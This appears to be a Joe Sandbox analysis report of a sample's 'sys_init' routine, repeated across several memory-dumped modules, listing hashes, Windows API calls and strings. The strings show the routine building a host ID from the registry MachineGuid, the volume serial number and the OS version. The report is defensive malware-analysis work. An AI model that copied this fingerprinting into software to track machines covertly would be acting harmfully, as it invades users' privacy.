Opcode ID: e9a884daacb212d4b5132a2dbbe38604ce4ccd71cb5146d75cfab6842fa0af2b
Instruction ID: 5c939acfee436a84d99edd7ecbbd509eb802bb114f707f60d5d1114badbe8287
Opcode Fuzzy Hash: e9a884daacb212d4b5132a2dbbe38604ce4ccd71cb5146d75cfab6842fa0af2b
Instruction Fuzzy Hash: 58F11424ACC74781FB249B8CE9947782352AF043E4F60033AD77E066E5DE6DB9899346

Function 00007FF8BFB84BC0 Relevance: 58.0, APIs: 11, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFB844A4: LoadLibraryA.KERNEL32 ref: 00007FF8BFB844B2

Part of subcall function 00007FF8BFB84423: GetProcAddress.KERNEL32 ref: 00007FF8BFB84443

FreeLibrary.KERNEL32 ref: 00007FF8BFB84C53
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BFB84C9F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BFB84CB8
GetLastError.KERNEL32 ref: 00007FF8BFB84CC6

Strings

[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BFB84EC3
sys_init, xrefs: 00007FF8BFB84C31, 00007FF8BFB84C66, 00007FF8BFB84CD1, 00007FF8BFB84DAC, 00007FF8BFB84E7E, 00007FF8BFB84EBC, 00007FF8BFB84F75, 00007FF8BFB8500B, 00007FF8BFB850DA
%, xrefs: 00007FF8BFB84DC7
:, xrefs: 00007FF8BFB84E19
\, xrefs: 00007FF8BFB84E1E
RtlGetVersion, xrefs: 00007FF8BFB84BE0
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BFB85012
, xrefs: 00007FF8BFB84E91
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BFB84F7C
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BFB84DE8
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BFB850E1
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BFB84C38
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BFB84CD8
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BFB84DB3
P, xrefs: 00007FF8BFB84EF0
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB84C6D
C:\Windows, xrefs: 00007FF8BFB84CB1, 00007FF8BFB84D9E
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BFB84E85
MachineGuid, xrefs: 00007FF8BFB84DE1
ntdll.dll, xrefs: 00007FF8BFB84BC8
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BFB84DDA, 00007FF8BFB84EAE
~, xrefs: 00007FF8BFB84EE7

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 5ca80b4570f46501d07f7dc98a807199eaaf2e9cd8eb9a92f5d868f2bd45693d
Instruction ID: 496679b481f52713cffa1383241b7b3b0ca25ccd83f21ba4c5202b7748923bf6
Opcode Fuzzy Hash: 5ca80b4570f46501d07f7dc98a807199eaaf2e9cd8eb9a92f5d868f2bd45693d
Instruction Fuzzy Hash: 0FD1A021E0C657C1FB249B9CE4807B867A0AF857D8F559037CB5E476A6DE2CEC84C781

Function 00007FF8BA4F3420 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BA4F9FF4: LoadLibraryA.KERNEL32 ref: 00007FF8BA4FA002

Part of subcall function 00007FF8BA4F9F73: GetProcAddress.KERNEL32 ref: 00007FF8BA4F9F93

FreeLibrary.KERNEL32 ref: 00007FF8BA4F34B3
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BA4F34FF
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BA4F3518
GetLastError.KERNEL32 ref: 00007FF8BA4F3526

Strings

9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BA4F363A, 00007FF8BA4F370E
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BA4F3723
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BA4F3872
, xrefs: 00007FF8BA4F36F1
:, xrefs: 00007FF8BA4F3679
\, xrefs: 00007FF8BA4F367E
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BA4F3538
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BA4F3613
sys_init, xrefs: 00007FF8BA4F3491, 00007FF8BA4F34C6, 00007FF8BA4F3531, 00007FF8BA4F360C, 00007FF8BA4F36DE, 00007FF8BA4F371C, 00007FF8BA4F37D5, 00007FF8BA4F386B, 00007FF8BA4F393A
P, xrefs: 00007FF8BA4F3750
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BA4F36E5
ntdll.dll, xrefs: 00007FF8BA4F3428
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BA4F3941
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BA4F37DC
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA4F34CD
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BA4F3498
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BA4F3648
MachineGuid, xrefs: 00007FF8BA4F3641
%, xrefs: 00007FF8BA4F3627
~, xrefs: 00007FF8BA4F3747
RtlGetVersion, xrefs: 00007FF8BA4F3440
C:\Windows, xrefs: 00007FF8BA4F3511, 00007FF8BA4F35FE

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: bc4cb478b8c36a5fe85cd5a1edcd2139b3db3fb45a3deb900e437d1778e96289
Instruction ID: 8edfa61a3ad23a84cb5e80a9d20e3608ab21aee71f1b5c6bc15590d21f6cd4f1
Opcode Fuzzy Hash: bc4cb478b8c36a5fe85cd5a1edcd2139b3db3fb45a3deb900e437d1778e96289
Instruction Fuzzy Hash: 9CD16F21E0C653C5FB208B9CAC803F826A0AB527D4F5560F2DF5E176A5DF2EB9448391

Function 00007FF8B9159770 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B915CF94: LoadLibraryA.KERNEL32 ref: 00007FF8B915CFA2

Part of subcall function 00007FF8B915CF13: GetProcAddress.KERNEL32 ref: 00007FF8B915CF33

FreeLibrary.KERNEL32 ref: 00007FF8B9159803
GetNativeSystemInfo.KERNEL32 ref: 00007FF8B915984F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8B9159868
GetLastError.KERNEL32 ref: 00007FF8B9159876

Strings

ntdll.dll, xrefs: 00007FF8B9159778
MachineGuid, xrefs: 00007FF8B9159991
RtlGetVersion, xrefs: 00007FF8B9159790
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8B9159998
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8B9159BC2
~, xrefs: 00007FF8B9159A97
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8B9159888
C:\Windows, xrefs: 00007FF8B9159861, 00007FF8B915994E
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8B9159963
:, xrefs: 00007FF8B91599C9
%, xrefs: 00007FF8B9159977
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8B9159B2C
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8B915998A, 00007FF8B9159A5E
P, xrefs: 00007FF8B9159AA0
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8B9159C91
, xrefs: 00007FF8B9159A41
sys_init, xrefs: 00007FF8B91597E1, 00007FF8B9159816, 00007FF8B9159881, 00007FF8B915995C, 00007FF8B9159A2E, 00007FF8B9159A6C, 00007FF8B9159B25, 00007FF8B9159BBB, 00007FF8B9159C8A
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8B9159A73
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8B9159A35
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B915981D
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8B91597E8
\, xrefs: 00007FF8B91599CE

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 072b15cb7d5467502121e7cc37fb0d8fa8f56b069e1ba42f5353c03d493d4b53
Instruction ID: 57d204d98a844dc10ff390f7b1ba0b97585744d8058b5b50d930e206ccf40b2a
Opcode Fuzzy Hash: 072b15cb7d5467502121e7cc37fb0d8fa8f56b069e1ba42f5353c03d493d4b53
Instruction Fuzzy Hash: 09D15965E0C7D781FB218F1DE8403B862A0AF417D4F964032DB5E472A6DE2DF884B792

Function 00007FF8B918E870 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B9181AA4: LoadLibraryA.KERNEL32 ref: 00007FF8B9181AB2

Part of subcall function 00007FF8B9181A23: GetProcAddress.KERNEL32 ref: 00007FF8B9181A43

FreeLibrary.KERNEL32 ref: 00007FF8B918E903
GetNativeSystemInfo.KERNEL32 ref: 00007FF8B918E94F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8B918E968
GetLastError.KERNEL32 ref: 00007FF8B918E976

Strings

\, xrefs: 00007FF8B918EACE
, xrefs: 00007FF8B918EB41
%, xrefs: 00007FF8B918EA77
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8B918EA63
C:\Windows, xrefs: 00007FF8B918E961, 00007FF8B918EA4E
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8B918ECC2
P, xrefs: 00007FF8B918EBA0
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8B918EA8A, 00007FF8B918EB5E
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8B918EA98
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8B918ED91
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8B918EB35
ntdll.dll, xrefs: 00007FF8B918E878
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8B918EC2C
MachineGuid, xrefs: 00007FF8B918EA91
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8B918EB73
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8B918E8E8
sys_init, xrefs: 00007FF8B918E8E1, 00007FF8B918E916, 00007FF8B918E981, 00007FF8B918EA5C, 00007FF8B918EB2E, 00007FF8B918EB6C, 00007FF8B918EC25, 00007FF8B918ECBB, 00007FF8B918ED8A
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8B918E988
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B918E91D
~, xrefs: 00007FF8B918EB97
RtlGetVersion, xrefs: 00007FF8B918E890
:, xrefs: 00007FF8B918EAC9

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 4dc01b5f75b270360606047a0468cbd7355a8116ebbaa9ee14f43ce93feb006c
Instruction ID: b3bf22cab428c52db068d7083d2ad9d40cce2f7d42920e4353f3dfbedd385ec5
Opcode Fuzzy Hash: 4dc01b5f75b270360606047a0468cbd7355a8116ebbaa9ee14f43ce93feb006c
Instruction Fuzzy Hash: F4D18D21E0C6D682FA60EF1CE4843B87A95AF417E4F564132CB9E072A2DE6DAC45B741

Function 00007FF8BFB54430 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFB52174: LoadLibraryA.KERNEL32 ref: 00007FF8BFB52182

Part of subcall function 00007FF8BFB520F3: GetProcAddress.KERNEL32 ref: 00007FF8BFB52113

FreeLibrary.KERNEL32 ref: 00007FF8BFB544C3
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BFB5450F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BFB54528
GetLastError.KERNEL32 ref: 00007FF8BFB54536

Strings

[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BFB54548
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BFB54882
, xrefs: 00007FF8BFB54701
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BFB5464A, 00007FF8BFB5471E
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BFB54951
sys_init, xrefs: 00007FF8BFB544A1, 00007FF8BFB544D6, 00007FF8BFB54541, 00007FF8BFB5461C, 00007FF8BFB546EE, 00007FF8BFB5472C, 00007FF8BFB547E5, 00007FF8BFB5487B, 00007FF8BFB5494A
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BFB546F5
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BFB544A8
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BFB547EC
RtlGetVersion, xrefs: 00007FF8BFB54450
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BFB54658
%, xrefs: 00007FF8BFB54637
C:\Windows, xrefs: 00007FF8BFB54521, 00007FF8BFB5460E
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BFB54733
:, xrefs: 00007FF8BFB54689
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BFB54623
P, xrefs: 00007FF8BFB54760
ntdll.dll, xrefs: 00007FF8BFB54438
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB544DD
MachineGuid, xrefs: 00007FF8BFB54651
\, xrefs: 00007FF8BFB5468E
~, xrefs: 00007FF8BFB54757

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 115724a50ad51f5d3a0dc080a03e658484dc1201f57563a707ab0e97b319153d
Instruction ID: 5e24a748ca0a910ce2c7f30d5d750ac1344da967546ca05caaa87a91743d58c4
Opcode Fuzzy Hash: 115724a50ad51f5d3a0dc080a03e658484dc1201f57563a707ab0e97b319153d
Instruction Fuzzy Hash: 4BD15B62E0C656D5FA249BDCE4723B9B7A0AF407D8F194132CB4E477A4DE2CF8848781

Function 00007FF8BFB32610 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFB37474: LoadLibraryA.KERNEL32 ref: 00007FF8BFB37482

Part of subcall function 00007FF8BFB373F3: GetProcAddress.KERNEL32 ref: 00007FF8BFB37413

FreeLibrary.KERNEL32 ref: 00007FF8BFB326A3
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BFB326EF
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BFB32708
GetLastError.KERNEL32 ref: 00007FF8BFB32716

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BFB32838
\, xrefs: 00007FF8BFB3286E
sys_init, xrefs: 00007FF8BFB32681, 00007FF8BFB326B6, 00007FF8BFB32721, 00007FF8BFB327FC, 00007FF8BFB328CE, 00007FF8BFB3290C, 00007FF8BFB329C5, 00007FF8BFB32A5B, 00007FF8BFB32B2A
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BFB32913
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BFB32B31
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB326BD
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BFB3282A, 00007FF8BFB328FE
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BFB32803
RtlGetVersion, xrefs: 00007FF8BFB32630
, xrefs: 00007FF8BFB328E1
C:\Windows, xrefs: 00007FF8BFB32701, 00007FF8BFB327EE
ntdll.dll, xrefs: 00007FF8BFB32618
~, xrefs: 00007FF8BFB32937
P, xrefs: 00007FF8BFB32940
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BFB32A62
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BFB329CC
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BFB32728
:, xrefs: 00007FF8BFB32869
MachineGuid, xrefs: 00007FF8BFB32831
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BFB32688
%, xrefs: 00007FF8BFB32817
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BFB328D5

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: bb319203d5cbb6e5fb51f96cff94c8619a199eb4c6fbc46879cfc4f1c9ae0bb2
Instruction ID: c8acf4676f9279219e33657c2128e3d87b3181e9e905a3aa8b9e677f0e219a56
Opcode Fuzzy Hash: bb319203d5cbb6e5fb51f96cff94c8619a199eb4c6fbc46879cfc4f1c9ae0bb2
Instruction Fuzzy Hash: 52D14A66EDC66782FB209B9CE9403B973A0AF44BD4F554032CB4E17AA5DE3DEC848741

Function 00007FF6BE0393F0 Relevance: 52.8, APIs: 10, Strings: 20, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BE031694: LoadLibraryA.KERNEL32(?,?,service,000002234F5413D0,00007FF6BE039404), ref: 00007FF6BE0316A2

Part of subcall function 00007FF6BE031613: GetProcAddress.KERNEL32(?,?,00000000,000002234F5413D0,?,00007FF6BE03941F), ref: 00007FF6BE031633

FreeLibrary.KERNEL32 ref: 00007FF6BE039483
GetNativeSystemInfo.KERNEL32 ref: 00007FF6BE0394CF
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6BE0394E8
GetLastError.KERNEL32 ref: 00007FF6BE0394F6

Strings

sys_init, xrefs: 00007FF6BE039461, 00007FF6BE039496, 00007FF6BE039501, 00007FF6BE0395DC, 00007FF6BE0396AE, 00007FF6BE0396EC, 00007FF6BE0397A5, 00007FF6BE03983B, 00007FF6BE03990A
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF6BE039468
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF6BE03949D
%, xrefs: 00007FF6BE0395F7
:, xrefs: 00007FF6BE039649
